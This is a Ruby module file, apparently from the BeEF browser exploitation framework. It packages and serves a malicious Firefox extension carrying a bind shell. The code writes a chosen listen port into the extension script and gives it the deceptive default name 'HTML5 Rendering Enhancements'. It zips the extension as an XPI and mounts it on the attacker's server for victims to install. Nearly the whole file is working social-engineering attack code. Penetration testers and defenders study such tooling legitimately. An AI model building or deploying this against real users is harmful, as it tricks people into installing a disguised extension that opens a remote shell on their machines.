Path: blob/master/modules/social_engineering/firefox_extension_bindshell/module.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5class Firefox_extension_bindshell < BeEF::Core::Command6class Bind_extension < BeEF::Core::Router::Router7before do8headers 'Content-Type' => 'application/x-xpinstall',9'Pragma' => 'no-cache',10'Cache-Control' => 'no-cache',11'Expires' => '0'12end1314get '/' do15response['Content-Type'] = 'application/x-xpinstall'16extension_path = settings.extension_path17print_info "Serving malicious Firefox Extension (Bindshell): #{extension_path}"18send_file extension_path.to_s,19type: 'application/x-xpinstall',20disposition: 'inline'21end22end2324def pre_send25# gets the value configured in the module configuration by the user26@datastore.each do |input|27@extension_name = input['value'] if input['name'] == 'extension_name'28@xpi_name = input['value'] if input['name'] == 'xpi_name'29@lport = input['value'] if input['name'] == 'lport'30end3132mod_path = "#{$root_dir}/modules/social_engineering/firefox_extension_bindshell"33extension_path = "#{mod_path}/extension"3435# clean the build directory36FileUtils.rm_rf("#{extension_path}/build/.", secure: true)3738# copy in the build directory necessary file, substituting placeholders39File.open("#{extension_path}/build/install.rdf", 'w') do |file|40file.puts File.read("#{extension_path}/install.rdf").gsub!('__extension_name_placeholder__', @extension_name)41end42File.open("#{extension_path}/build/bootstrap.js", 'w') { |file| file.puts File.read("#{extension_path}/bootstrap.js").gsub!('__bindshell_port_placeholder__', @lport) }43File.open("#{extension_path}/build/overlay.xul", 'w') { |file| file.puts File.read("#{extension_path}/overlay.xul") }44File.open("#{extension_path}/build/chrome.manifest", 'w') { |file| file.puts File.read("#{extension_path}/chrome.manifest") }4546extension_content = ['install.rdf', 'bootstrap.js', 'overlay.xul', 'chrome.manifest']4748# create the XPI extension container49xpi = "#{extension_path}/#{@xpi_name}.xpi"50File.delete(xpi) if File.exist?(xpi)51Zip::File.open(xpi, Zip::File::CREATE) do |xpi|52extension_content.each do |filename|53xpi.add(filename, "#{extension_path}/build/#{filename}")54end55end5657# mount the extension in the BeEF web server, calling a specific nested class (needed because we need a specific content-type/disposition)58bind_extension = Firefox_extension_bindshell::Bind_extension59bind_extension.set :extension_path, "#{$root_dir}/modules/social_engineering/firefox_extension_bindshell/extension/#{@xpi_name}.xpi"60BeEF::Core::Server.instance.mount("/#{@xpi_name}.xpi", bind_extension.new)61BeEF::Core::Server.instance.remap62end6364def self.options65[66{ 'name' => 'extension_name', 'ui_label' => 'Extension name', 'value' => 'HTML5 Rendering Enhancements' },67{ 'name' => 'xpi_name', 'ui_label' => 'Extension file (XPI) name', 'value' => 'HTML5_Enhancements' },68{ 'name' => 'lport', 'ui_label' => 'Listen Port', 'value' => '1337' }69]70end7172def post_execute73save({ 'result' => @datastore['result'] })74end75end767778